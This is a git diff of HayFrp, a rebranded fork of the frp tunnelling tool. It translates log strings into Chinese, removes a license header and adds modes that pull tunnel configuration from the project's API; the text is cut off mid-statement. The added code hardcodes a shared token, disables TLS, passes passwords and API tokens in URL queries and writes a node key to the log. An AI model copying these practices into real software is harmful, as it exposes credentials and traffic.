diff --git a/client/control.go b/client/control.go index eeea1285..c69d385a 100644 --- a/client/control.go +++ b/client/control.go @@ -163,9 +163,9 @@ func (ctl *Control) handleNewProxyResp(m msg.Message) { // Start a new proxy handler if no error got err := ctl.pm.StartProxy(inMsg.ProxyName, inMsg.RemoteAddr, inMsg.Error) if err != nil { - xl.Warnf("[%s] start error: %v", inMsg.ProxyName, err) + xl.Warnf("[%s] 启动时发生错误: %v", inMsg.ProxyName, err) } else { - xl.Infof("[%s] start proxy success", inMsg.ProxyName) + xl.Infof("[%s] 隧道启动成功!", inMsg.ProxyName) } } diff --git a/client/service.go b/client/service.go index 0cbd8757..00b987ed 100644 --- a/client/service.go +++ b/client/service.go @@ -205,7 +205,7 @@ func (svr *Service) keepControllerWorking() { svr.loopLoginUntilSuccess(20*time.Second, false) if svr.ctl != nil { <-svr.ctl.Done() - return false, errors.New("control is closed and try another loop") + return false, errors.New("控制已关闭,尝试另一个循环") } // If the control is nil, it means that the login failed and the service is also closed. return false, nil @@ -281,9 +281,9 @@ func (svr *Service) login() (conn net.Conn, connector Connector, err error) { } svr.runID = loginRespMsg.RunID - xl.AddPrefix(xlog.LogPrefix{Name: "runID", Value: svr.runID}) + xl.AddPrefix(xlog.LogPrefix{Name: "运行ID", Value: svr.runID}) - xl.Infof("login to server success, get run id [%s]", loginRespMsg.RunID) + xl.Infof("登录服务器成功!获取RunID [%s]", loginRespMsg.RunID) return } @@ -291,10 +291,10 @@ func (svr *Service) loopLoginUntilSuccess(maxInterval time.Duration, firstLoginE xl := xlog.FromContextSafe(svr.ctx) loginFunc := func() (bool, error) { - xl.Infof("try to connect to server...") + xl.Infof("尝试连接到服务器...") conn, connector, err := svr.login() if err != nil { - xl.Warnf("connect to server error: %v", err) + xl.Warnf("连接到服务器时发生错误: %v", err) if firstLoginExit { svr.cancel(cancelErr{Err: err}) } @@ -320,7 +320,7 @@ func (svr *Service) loopLoginUntilSuccess(maxInterval time.Duration, firstLoginE ctl, err := NewControl(svr.ctx, sessionCtx) if err != nil { conn.Close() - xl.Errorf("NewControl error: %v", err) + xl.Errorf("新控件出现错误: %v", err) return false, err } ctl.SetInWorkConnCallback(svr.handleWorkConnCb) diff --git a/client/visitor/stcp.go b/client/visitor/stcp.go index b26faf52..f791705e 100644 --- a/client/visitor/stcp.go +++ b/client/visitor/stcp.go @@ -56,7 +56,7 @@ func (sv *STCPVisitor) worker() { for { conn, err := sv.l.Accept() if err != nil { - xl.Warnf("stcp local listener closed") + xl.Warnf("STCP本地监听关闭") return } go sv.handleConn(conn) @@ -68,7 +68,7 @@ func (sv *STCPVisitor) internalConnWorker() { for { conn, err := sv.internalLn.Accept() if err != nil { - xl.Warnf("stcp internal listener closed") + xl.Warnf("STCP互联网监听关闭") return } go sv.handleConn(conn) @@ -79,7 +79,7 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) { xl := xlog.FromContextSafe(sv.ctx) defer userConn.Close() - xl.Debugf("get a new stcp user connection") + xl.Debugf("获取到一个新的STCP用户链接.") visitorConn, err := sv.helper.ConnectServer() if err != nil { return @@ -97,7 +97,7 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) { } err = msg.WriteMsg(visitorConn, newVisitorConnMsg) if err != nil { - xl.Warnf("send newVisitorConnMsg to server error: %v", err) + xl.Warnf("发生新参与者链接信息到服务器时发生错误: %v", err) return } @@ -105,13 +105,13 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) { _ = visitorConn.SetReadDeadline(time.Now().Add(10 * time.Second)) err = msg.ReadMsgInto(visitorConn, &newVisitorConnRespMsg) if err != nil { - xl.Warnf("get newVisitorConnRespMsg error: %v", err) + xl.Warnf("获取新参与者链接信息时发生错误: %v", err) return } _ = visitorConn.SetReadDeadline(time.Time{}) if newVisitorConnRespMsg.Error != "" { - xl.Warnf("start new visitor connection error: %s", newVisitorConnRespMsg.Error) + xl.Warnf("启动一个新的参与者链接时发生错误: %s", newVisitorConnRespMsg.Error) return } @@ -120,7 +120,7 @@ func (sv *STCPVisitor) handleConn(userConn net.Conn) { if sv.cfg.Transport.UseEncryption { remote, err = libio.WithEncryption(remote, []byte(sv.cfg.SecretKey)) if err != nil { - xl.Errorf("create encryption stream error: %v", err) + xl.Errorf("创建流线型加密连接时出现错误: %v", err) return } } diff --git a/client/visitor/visitor_manager.go b/client/visitor/visitor_manager.go index 6ff65dab..2898eb51 100644 --- a/client/visitor/visitor_manager.go +++ b/client/visitor/visitor_manager.go @@ -79,14 +79,14 @@ func (vm *Manager) keepVisitorsRunning() { for { select { case <-vm.stopCh: - xl.Tracef("gracefully shutdown visitor manager") + xl.Tracef("优雅地关闭访客管理器(?)") return case <-ticker.C: vm.mu.Lock() for _, cfg := range vm.cfgs { name := cfg.GetBaseConfig().Name if _, exist := vm.visitors[name]; !exist { - xl.Infof("try to start visitor [%s]", name) + xl.Infof("尝试加入发起者 [%s]", name) _ = vm.startVisitor(cfg) } } @@ -115,10 +115,10 @@ func (vm *Manager) startVisitor(cfg v1.VisitorConfigurer) (err error) { visitor := NewVisitor(vm.ctx, cfg, vm.clientCfg, vm.helper) err = visitor.Run() if err != nil { - xl.Warnf("start error: %v", err) + xl.Warnf("启动错误: %v", err) } else { vm.visitors[name] = visitor - xl.Infof("start visitor success") + xl.Infof("参与者服务启动成功") } return } @@ -156,7 +156,7 @@ func (vm *Manager) UpdateAll(cfgs []v1.VisitorConfigurer) { } } if len(delNames) > 0 { - xl.Infof("visitor removed: %v", delNames) + xl.Infof("参与者已移除: %v", delNames) } addNames := make([]string, 0) @@ -169,7 +169,7 @@ func (vm *Manager) UpdateAll(cfgs []v1.VisitorConfigurer) { } } if len(addNames) > 0 { - xl.Infof("visitor added: %v", addNames) + xl.Infof("参与者已成功加入: %v", addNames) } } @@ -179,7 +179,7 @@ func (vm *Manager) TransferConn(name string, conn net.Conn) error { defer vm.mu.RUnlock() v, ok := vm.visitors[name] if !ok { - return fmt.Errorf("visitor [%s] not found", name) + return fmt.Errorf("发起者 [%s] 未找到", name) } return v.AcceptConn(conn) } diff --git a/cmd/frpc/main.go b/cmd/frpc/main.go index f7651bca..9c35c848 100644 --- a/cmd/frpc/main.go +++ b/cmd/frpc/main.go @@ -1,26 +1,400 @@ -// Copyright 2016 fatedier, fatedier@gmail.com -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - package main import ( + "bytes" + "encoding/json" + "fmt" + "io/ioutil" + "net/http" + "os" + "os/exec" + "path/filepath" + "runtime" + _ "github.com/fatedier/frp/assets/frpc" "github.com/fatedier/frp/cmd/frpc/sub" "github.com/fatedier/frp/pkg/util/system" + "github.com/fatedier/frp/pkg/util/version" ) +type Config struct { + Type string `json:"type"` + Format string `json:"format"` + Csrf string `json:"csrf"` + ProxyID string `json:"proxy"` +} + +type Response struct { + Status int `json:"status"` + Message string `json:"message"` + Data interface{} `json:"data"` +} + func main() { + fmt.Println(` + __ __ ________ +| \ | \ | \ +| $$ | $$ ______ __ __ | $$$$$$$$______ ______ +| $$__| $$ | \ | \ | \| $$__ / \ / \ +| $$ $$ \$$$$$$\| $$ | $$| $$ \ | $$$$$$\| $$$$$$\ +| $$$$$$$$ / $$| $$ | $$| $$$$$ | $$ \$$| $$ | $$ +| $$ | $$| $$$$$$$| $$__/ $$| $$ | $$ | $$__/ $$ +| $$ | $$ \$$ $$ \$$ $$| $$ | $$ | $$ $$ + \$$ \$$ \$$$$$$$ _\$$$$$$$ \$$ \$$ | $$$$$$$ + | \__| $$ | $$ + \$$ $$ | $$ + \$$$$$$ \$$ ——— HayFrp公益项目运营&开发组 + + `) + fmt.Println("欢迎使用HayFrp!") + fmt.Println("HayFrp程序发行版本:" + version.Full()) + // 获取命令行参数 + args := os.Args[1:] + // 检查参数数量 + for _, arg := range args { + if arg == "-m" { + fmt.Println("[HayFrpOH] 捕捉到配置命令,模式已自动切换为HayFrpOH") + // 检测是否自定义API地址 + api := "https://api.hayfrp.org/" // 默认API地址 + // 解析参数 + var id, csrf string + var isS bool + for i, arg := range args { + switch arg { + case "-m": + if i+1 < len(args) { + csrf = args[i+1] + } + case "-h": + isS = true + + case "-i": + if i+1 < len(args) { + api = args[i+1] + } + } + } + + // 检查是否提供了id和csrf + if csrf == "" { + fmt.Println("[HayFrpOH] 请提供有效的CSRF") + return + } + + // 构建请求体 + config := Config{ + Type: "config", + Csrf: csrf, + ProxyID: id, // 如果id不为空,则添加到请求体中 + } + + // 如果是-h操作,则设置format为toml + if isS { + config.Format = "toml" + fmt.Println("[HayFrpOH] HayFrpOH设定模式:发起端.") + } else { + fmt.Println("[HayFrpOH] HayFrpOH设定模式:参与端.") + } + + jsonData, err := json.Marshal(config) + if err != nil { + fmt.Println("[HayFrpOH] JSON编码错误:", err) + return + } + + fmt.Println("[HayFrpOH] 拉取配置文件......") + // 发送POST请求 + client := &http.Client{} + var req *http.Request + req, err = http.NewRequest("POST", api+"p2p", bytes.NewBuffer(jsonData)) + if err != nil { + fmt.Println("[HayFrpOH] 创建请求错误:", err) + return + } + + // 设置请求头 + req.Header.Set("Content-Type", "application/json") + req.Header.Set("User-Agent", "HayFrpClient/114514") + req.Header.Set("waf", "off") + + resp, err := client.Do(req) + if err != nil { + fmt.Println("[HayFrpOH] 请求错误,请尝试使用加速器:", err) + return + } + defer resp.Body.Close() + + fmt.Println("[HayFrpOH] 拉取成功.") + fmt.Println("[HayFrpOH] 解析配置文件......") + fmt.Println("[HayFrpOH] 成功,即将启动FRP进行X/S TCP") + // 读取响应 + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("[HayFrpOH] 读取响应错误:", err) + return + } + + // 解析响应的JSON内容 + var response Response + err = json.Unmarshal(body, &response) + if err != nil { + fmt.Println("[HayFrpOH] 解析响应错误:", err) + return + } + + // 检查响应状态 + if response.Status != 200 { + fmt.Println("[HayFrpOH] 请求失败:", response.Message) + return + } + + // 解析data字段 + data := response.Data.(map[string]interface{}) + // 获取当前文件的绝对路径 + exePath, err := os.Executable() + if err != nil { + fmt.Println("Error getting executable path:", err) + return + } + exeDir := filepath.Dir(exePath) + programName := filepath.Base(os.Args[0]) + goPath := filepath.Join(exeDir, programName) + os.Args = []string{} + // 构造启动命令 + cmd := exec.Command(goPath, data["proxy_type"].(string), "visitor", "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--server-name", data["proxy_name"].(string), "-n", data["proxy_name"].(string)+"_visitor", "--bind-addr", "127.0.0.1", "--bind-port", data["remote_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string)) + if runtime.GOOS != "windows" { + cmd = exec.Command(goPath, data["proxy_type"].(string), "visitor", "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--server-name", data["proxy_name"].(string), "-n", data["proxy_name"].(string)+"_visitor", "--bind-addr", "127.0.0.1", "--bind-port", data["remote_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string)) + } + + // 检查是否需要添加-s参数 + if isS { + // 构造启动命令 + cmd = exec.Command(goPath, data["proxy_type"].(string), "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--proxy-name", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string)) + if runtime.GOOS != "windows" { + cmd = exec.Command(goPath, data["proxy_type"].(string), "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--sk", data["sk"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "--proxy-name", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string)) + } + } + + // 获取命令的输出和错误信息 + stdout, err := cmd.StdoutPipe() + if err != nil { + fmt.Println("[HayFrpOH] 获取命令输出错误:", err) + return + } + stderr, err := cmd.StderrPipe() + if err != nil { + fmt.Println("[HayFrpOH] 获取命令错误输出错误:", err) + return + } + + // 启动命令 + err = cmd.Start() + if err != nil { + fmt.Println("[HayFrpOH] 启动命令错误:", err) + return + } + + // 读取输出和错误信息 + go func() { + buf := make([]byte, 1024) + for { + n, err := stdout.Read(buf) + if n > 0 { + fmt.Print(string(buf[:n])) + } + if err != nil { + break + } + } + }() + + go func() { + buf := make([]byte, 1024) + for { + n, err := stderr.Read(buf) + if n > 0 { + fmt.Print(string(buf[:n])) + } + if err != nil { + break + } + } + }() + + // 等待命令完成 + err = cmd.Wait() + if err != nil { + fmt.Println("[HayFrpOH] 命令执行错误:", err) + return + } + + fmt.Println("[HayFrpOH] 任务被结束.") + os.Exit(0) + } + + if arg == "-esirun" { + fmt.Println("[HayFrpEasyRun] 捕捉到配置命令,模式已自动切换为快速启动.") + // 检测是否自定义API地址 + api := "https://api.hayfrp.org/" + // 解析参数 + var id, csrf string + for i, arg := range args { + switch arg { + case "-esirun": + if i+1 < len(args) { + csrf = args[i+1] + } + + case "-i": + if i+1 < len(args) { + api = args[i+1] + } + } + } + + // 检查是否提供了id和csrf + if csrf == "" { + fmt.Println("[HayFrpEasyRun] 请提供有效的CSRF") + return + } + + // 构建请求体 + config := Config{ + Type: "config", + Csrf: csrf, + ProxyID: id, // 如果id不为空,则添加到请求体中 + } + + jsonData, err := json.Marshal(config) + if err != nil { + fmt.Println("[HayFrpEasyRun] JSON编码错误:", err) + return + } + + fmt.Println("[HayFrpEasyRun] 拉取配置文件......") + // 发送POST请求 + client := &http.Client{} + var req *http.Request + req, err = http.NewRequest("POST", api+"esirun", bytes.NewBuffer(jsonData)) + if err != nil { + fmt.Println("[HayFrpEasyRun] 创建请求错误:", err) + return + } + + // 设置请求头 + req.Header.Set("Content-Type", "application/json") + req.Header.Set("User-Agent", "HayFrpClient/114514") + req.Header.Set("waf", "off") + + resp, err := client.Do(req) + if err != nil { + fmt.Println("[HayFrpEasyRun] 请求错误,请尝试使用加速器:", err) + return + } + defer resp.Body.Close() + + fmt.Println("[HayFrpEasyRun] 拉取成功.") + fmt.Println("[HayFrpEasyRun] 解析配置文件......") + fmt.Println("[HayFrpEasyRun] 成功,即将启动FRP") + // 读取响应 + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("[HayFrpEasyRun] 读取响应错误:", err) + return + } + + // 解析响应的JSON内容 + var response Response + err = json.Unmarshal(body, &response) + if err != nil { + fmt.Println("[HayFrpEasyRun] 解析响应错误:", err) + return + } + + // 检查响应状态 + if response.Status != 200 { + fmt.Println("[HayFrpEasyRun] 请求失败:", response.Message) + return + } + + // 解析data字段 + data := response.Data.(map[string]interface{}) + // 获取当前文件的绝对路径 + exePath, err := os.Executable() + if err != nil { + fmt.Println("Error getting executable path:", err) + return + } + exeDir := filepath.Dir(exePath) + programName := filepath.Base(os.Args[0]) + goPath := filepath.Join(exeDir, programName) + os.Args = []string{} + // 构造启动命令 + + cmd := exec.Command(goPath, data["proxy_type"].(string), "-s", data["hostname"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "-n", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "-r", data["remote_port"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string)) + if data["proxy_type"].(string) == "http" || data["proxy_type"].(string) == "https" { + cmd = exec.Command(goPath, data["proxy_type"].(string), "-s", data["ip"].(string), "-P", data["port"].(string), "-t", "ConnectHayFrpTokenWelcomToUseOurCloudServiceDonttellyourtokentotheotherpeoplesbecauseyouwilllostyouraccount", "-u", data["token"].(string), "--tls-enable", "false", "-p", "tcp", "--dns-server", "223.5.5.5", "-n", data["proxy_name"].(string), "-i", data["local_ip"].(string), "-l", data["local_port"].(string), "-d", data["domain"].(string), "--uc", data["use_compression"].(string), "--ue", data["use_encryption"].(string)) + } + + // 获取命令的输出和错误信息 + stdout, err := cmd.StdoutPipe() + if err != nil { + fmt.Println("[HayFrpEasyRun] 获取命令输出错误:", err) + return + } + stderr, err := cmd.StderrPipe() + if err != nil { + fmt.Println("[HayFrpEasyRun] 获取命令错误输出错误:", err) + return + } + + // 启动命令 + err = cmd.Start() + if err != nil { + fmt.Println("[HayFrpEasyRun] 启动命令错误:", err) + return + } + + // 读取输出和错误信息 + go func() { + buf := make([]byte, 1024) + for { + n, err := stdout.Read(buf) + if n > 0 { + fmt.Print(string(buf[:n])) + } + if err != nil { + break + } + } + }() + + go func() { + buf := make([]byte, 1024) + for { + n, err := stderr.Read(buf) + if n > 0 { + fmt.Print(string(buf[:n])) + } + if err != nil { + break + } + } + }() + + // 等待命令完成 + err = cmd.Wait() + if err != nil { + fmt.Println("[HayFrpEasyRun] 命令执行错误:", err) + return + } + + fmt.Println("[HayFrpEasyRun] 任务被结束.") + os.Exit(0) + } + } + system.EnableCompatibilityMode() sub.Execute() + } diff --git a/cmd/frpc/sub/proxy.go b/cmd/frpc/sub/proxy.go index c5d76b1e..ddcbd338 100644 --- a/cmd/frpc/sub/proxy.go +++ b/cmd/frpc/sub/proxy.go @@ -47,7 +47,7 @@ func init() { for _, typ := range proxyTypes { c := v1.NewProxyConfigurerByType(typ) if c == nil { - panic("proxy type: " + typ + " not support") + panic("隧道类型: " + typ + " 不支持") } clientCfg := v1.ClientCommonConfig{} cmd := NewProxyCommand(string(typ), c, &clientCfg) @@ -58,7 +58,7 @@ func init() { if slices.Contains(visitorTypes, v1.VisitorType(typ)) { vc := v1.NewVisitorConfigurerByType(v1.VisitorType(typ)) if vc == nil { - panic("visitor type: " + typ + " not support") + panic("参与者类型: " + typ + " 不支持") } visitorCmd := NewVisitorCommand(string(typ), vc, &clientCfg) config.RegisterVisitorFlags(visitorCmd, vc) @@ -71,7 +71,7 @@ func init() { func NewProxyCommand(name string, c v1.ProxyConfigurer, clientCfg *v1.ClientCommonConfig) *cobra.Command { return &cobra.Command{ Use: name, - Short: fmt.Sprintf("Run frpc with a single %s proxy", name), + Short: fmt.Sprintf("运行带有单个 %s 隧道的Frpc", name), Run: func(cmd *cobra.Command, args []string) { clientCfg.Complete() if _, err := validation.ValidateClientCommonConfig(clientCfg); err != nil { @@ -97,7 +97,7 @@ func NewProxyCommand(name string, c v1.ProxyConfigurer, clientCfg *v1.ClientComm func NewVisitorCommand(name string, c v1.VisitorConfigurer, clientCfg *v1.ClientCommonConfig) *cobra.Command { return &cobra.Command{ Use: "visitor", - Short: fmt.Sprintf("Run frpc with a single %s visitor", name), + Short: fmt.Sprintf("运行带有单个 %s 参与者的Frpc", name), Run: func(cmd *cobra.Command, args []string) { clientCfg.Complete() if _, err := validation.ValidateClientCommonConfig(clientCfg); err != nil { diff --git a/cmd/frpc/sub/root.go b/cmd/frpc/sub/root.go index b844ddfd..8f32a324 100644 --- a/cmd/frpc/sub/root.go +++ b/cmd/frpc/sub/root.go @@ -87,7 +87,7 @@ func runMultipleClients(cfgDir string) error { defer wg.Done() err := runClient(path) if err != nil { - fmt.Printf("frpc service error for config file [%s]\n", path) + fmt.Printf("Frpc发生错误在配置文件 [%s]\n", path) } }() return nil @@ -116,13 +116,12 @@ func runClient(cfgFilePath string) error { return err } if isLegacyFormat { - fmt.Printf("WARNING: ini format is deprecated and the support will be removed in the future, " + - "please use yaml/json/toml format instead!\n") + fmt.Printf("警告:INI文件格式在未来将会不受支持并且移除\n") } warning, err := validation.ValidateAllClientConfig(cfg, proxyCfgs, visitorCfgs) if warning != nil { - fmt.Printf("WARNING: %v\n", warning) + fmt.Printf("警告: %v\n", warning) } if err != nil { return err @@ -139,8 +138,8 @@ func startService( log.InitLogger(cfg.Log.To, cfg.Log.Level, int(cfg.Log.MaxDays), cfg.Log.DisablePrintColor) if cfgFile != "" { - log.Infof("start frpc service for config file [%s]", cfgFile) - defer log.Infof("frpc service for config file [%s] stopped", cfgFile) + log.Infof("启动Frpc配置文件: [%s]", cfgFile) + defer log.Infof("Frpc配置文件 [%s] 已停止", cfgFile) } svr, err := client.NewService(client.ServiceOptions{ Common: cfg, diff --git a/cmd/frps/main.go b/cmd/frps/main.go index 3cb398d8..6f1ec95b 100644 --- a/cmd/frps/main.go +++ b/cmd/frps/main.go @@ -15,12 +15,40 @@ package main import ( + "fmt" + "os" + _ "github.com/fatedier/frp/assets/frps" _ "github.com/fatedier/frp/pkg/metrics" "github.com/fatedier/frp/pkg/util/system" + "github.com/fatedier/frp/pkg/util/version" ) func main() { + fmt.Println(` + __ __ ________ +| \ | \ | \ +| $$ | $$ ______ __ __ | $$$$$$$$______ ______ +| $$__| $$ | \ | \ | \| $$__ / \ / \ +| $$ $$ \$$$$$$\| $$ | $$| $$ \ | $$$$$$\| $$$$$$\ +| $$$$$$$$ / $$| $$ | $$| $$$$$ | $$ \$$| $$ | $$ +| $$ | $$| $$$$$$$| $$__/ $$| $$ | $$ | $$__/ $$ +| $$ | $$ \$$ $$ \$$ $$| $$ | $$ | $$ $$ + \$$ \$$ \$$$$$$$ _\$$$$$$$ \$$ \$$ | $$$$$$$ + | \__| $$ | $$ + \$$ $$ | $$ + \$$$$$$ \$$ ——— HayFrp公益项目运营&开发组 + + `) + fmt.Println("欢迎使用HayFrp!") + fmt.Println("HayFrp程序发行版本:" + version.Full()) system.EnableCompatibilityMode() + + // 检查是否有frps.ini文件 + if _, err := os.Stat("frps.ini"); err == nil { + // 如果有,将-c frps.ini添加到os.Args中 + os.Args = append(os.Args, "-c", "frps.ini") + } + Execute() } diff --git a/cmd/frps/root.go b/cmd/frps/root.go index fff487d1..f081a1f0 100644 --- a/cmd/frps/root.go +++ b/cmd/frps/root.go @@ -17,7 +17,11 @@ package main import ( "context" "fmt" + "io/ioutil" + "net/http" "os" + "strconv" + "time" "github.com/spf13/cobra" @@ -66,8 +70,7 @@ var rootCmd = &cobra.Command{ os.Exit(1) } if isLegacyFormat { - fmt.Printf("WARNING: ini format is deprecated and the support will be removed in the future, " + - "please use yaml/json/toml format instead!\n") + fmt.Printf("警告:INI文件格式在未来将会不受支持并且移除(反正目前HayFrps支持就行,这行别管)!\n") } } else { serverCfg.Complete() @@ -76,7 +79,7 @@ var rootCmd = &cobra.Command{ warning, err := validation.ValidateServerConfig(svrCfg) if warning != nil { - fmt.Printf("WARNING: %v\n", warning) + fmt.Printf("警告: %v\n", warning) } if err != nil { fmt.Println(err) @@ -100,18 +103,63 @@ func Execute() { func runServer(cfg *v1.ServerConfig) (err error) { log.InitLogger(cfg.Log.To, cfg.Log.Level, int(cfg.Log.MaxDays), cfg.Log.DisablePrintColor) + log.Infof("[HayFrp] 欢迎使用全新的HayFrp服务端!") + log.Infof("[HayFrp] 服务端版本:" + version.Full() + "!") + log.Infof("[HayFrp] 本新版本在客户端链接时将介入HayFrp终端!") + log.Infof("[HayFrp] 各种链接协议已升级到现代协议!") + + // 发起 GET 请求获取 API 返回的内容(节点名称) + resp, err := http.Get("https://api.hayfrp.org/NodeAPI?type=GetNodeName&token=" + cfg.ApiToken) + if err != nil { + return err + } + defer resp.Body.Close() + + // 读取 API 返回的内容 + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + // 将 API 返回的内容添加到 loginMsg.RunId 后面 + log.Infof("[HayFrp] 欢迎节点" + string(body) + "上线!") + log.Infof("[HayFrp] 自检所有必要项中,请稍等......") + log.Infof("[HayFrp] HayFrp API启用状态: %s", strconv.FormatBool(cfg.EnableApi)) + log.Infof("[HayFrp] HayFrp API URL: %s", cfg.ApiBaseUrl) + log.Infof("[HayFrp] HayFrp API Node Key: %s", cfg.ApiToken) if cfgFile != "" { - log.Infof("frps uses config file: %s", cfgFile) + log.Infof("[HayFrp] HayFrp服务端已引用配置文件: %s", cfgFile) } else { - log.Infof("frps uses command line arguments for config") + log.Infof("[HayFrp] HayFrp服务端已引用命令行参数") } svr, err := server.NewService(cfg) if err != nil { return err } - log.Infof("frps started successfully") + log.Infof("[HayFrp] HayFrp服务端已成功启动!") + go checkonline(cfg) svr.Run(context.Background()) return } + +func checkonline(cfg *v1.ServerConfig) { + time.Sleep(2 * time.Second) // 延时2秒,确保延时函数有足够的时间运行 + log.Infof("[HayFrp] 检测到所有端口已成功启动,请稍等......") + log.Infof("[HayFrp] 即将请求HayFrp API授权本节点调用其他节点检查本节点状态......") + log.Infof("[HayFrp] 检测节点在线状态中,这将会更新云端状态......") + // 发起 GET 请求获取 API 返回的内容(节点状态) + resp, err := http.Get("https://api.hayfrp.org/NodeAPI?type=checkonline&token=" + cfg.ApiToken) + if err != nil { + return + } + defer resp.Body.Close() + + // 读取 API 返回的内容 + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return + } + // 将 API 返回的内容添加到 loginMsg.RunId 后面 + log.Infof("[HayFrp] " + string(body)) +} diff --git a/extend/api/api.go b/extend/api/api.go new file mode 100644 index 00000000..a7b5d6d4 --- /dev/null +++ b/extend/api/api.go @@ -0,0 +1,249 @@ +package api + +import ( + "encoding/json" + "fmt" + "io/ioutil" + "net/http" + "net/url" + "strconv" + "time" + + "github.com/fatedier/frp/pkg/msg" +) + +// Service sakurafrp api servie +type Service struct { + Host url.URL +} + +// NewService crate sakurafrp api servie +func NewService(host string) (s *Service, err error) { + u, err := url.Parse(host) + if err != nil { + return + } + return &Service{*u}, nil +} + +// CheckToken 校验客户端 token +func (s Service) CheckToken(user string, token string, timestamp int64, stk string) (ok bool, err error) { + values := url.Values{} + values.Set("action", "checktoken") + values.Set("user", user) + values.Set("token", token) + values.Set("timestamp", fmt.Sprintf("%d", timestamp)) + values.Set("apitoken", stk) + s.Host.RawQuery = values.Encode() + defer func(u *url.URL) { + u.RawQuery = "" + }(&s.Host) + resp, err := http.Get(s.Host.String()) + if err != nil { + return false, err + } + if resp.StatusCode != http.StatusOK { + return false, ErrHTTPStatus{ + Status: resp.StatusCode, + Text: resp.Status, + } + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return false, err + } + response := ResponseCheckToken{} + if err = json.Unmarshal(body, &response); err != nil { + return false, err + } + if !response.Success { + return false, ErrCheckTokenFail{response.Message} + } + return true, nil +} + +// CheckProxy 校验客户端代理 +func (s Service) CheckProxy(user string, pMsg *msg.NewProxy, timestamp int64, stk string) (ok bool, err error) { + + domains, err := json.Marshal(pMsg.CustomDomains) + if err != nil { + return false, err + } + + headers, err := json.Marshal(pMsg.Headers) + if err != nil { + return false, err + } + + locations, err := json.Marshal(pMsg.Locations) + if err != nil { + return false, err + } + + values := url.Values{} + + // API Basic + values.Set("action", "checkproxy") + values.Set("user", user) + values.Set("timestamp", fmt.Sprintf("%d", timestamp)) + values.Set("apitoken", stk) + + // Proxies basic info + values.Set("proxy_name", pMsg.ProxyName) + values.Set("proxy_type", pMsg.ProxyType) + values.Set("use_encryption", BoolToString(pMsg.UseEncryption)) + values.Set("use_compression", BoolToString(pMsg.UseCompression)) + + // Http Proxies + values.Set("domain", string(domains)) + values.Set("subdomain", pMsg.SubDomain) + + // Headers + values.Set("locations", string(locations)) + values.Set("http_user", pMsg.HTTPUser) + values.Set("http_pwd", pMsg.HTTPPwd) + values.Set("host_header_rewrite", pMsg.HostHeaderRewrite) + values.Set("headers", string(headers)) + + // Tcp & Udp & Stcp + values.Set("remote_port", strconv.Itoa(pMsg.RemotePort)) + + // Stcp & Xtcp + values.Set("sk", pMsg.Sk) + + // Load balance + values.Set("group", pMsg.Group) + values.Set("group_key", pMsg.GroupKey) + + s.Host.RawQuery = values.Encode() + defer func(u *url.URL) { + u.RawQuery = "" + }(&s.Host) + resp, err := http.Get(s.Host.String()) + if err != nil { + return false, err + } + if resp.StatusCode != http.StatusOK { + return false, ErrHTTPStatus{ + Status: resp.StatusCode, + Text: resp.Status, + } + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return false, err + } + response := ResponseCheckProxy{} + if err = json.Unmarshal(body, &response); err != nil { + return false, err + } + if !response.Success { + return false, ErrCheckProxyFail{response.Message} + } + return true, nil + +} + +// GetProxyLimit 获取隧道限速信息 +func (s Service) GetProxyLimit(user string, timestamp int64, stk string) (inLimit, outLimit uint64, err error) { + // 这部分就照之前的搬过去了,能跑就行x + values := url.Values{} + values.Set("action", "getlimit") + values.Set("user", user) + values.Set("timestamp", fmt.Sprintf("%d", timestamp)) + values.Set("apitoken", stk) + s.Host.RawQuery = values.Encode() + defer func(u *url.URL) { + u.RawQuery = "" + }(&s.Host) + resp, err := 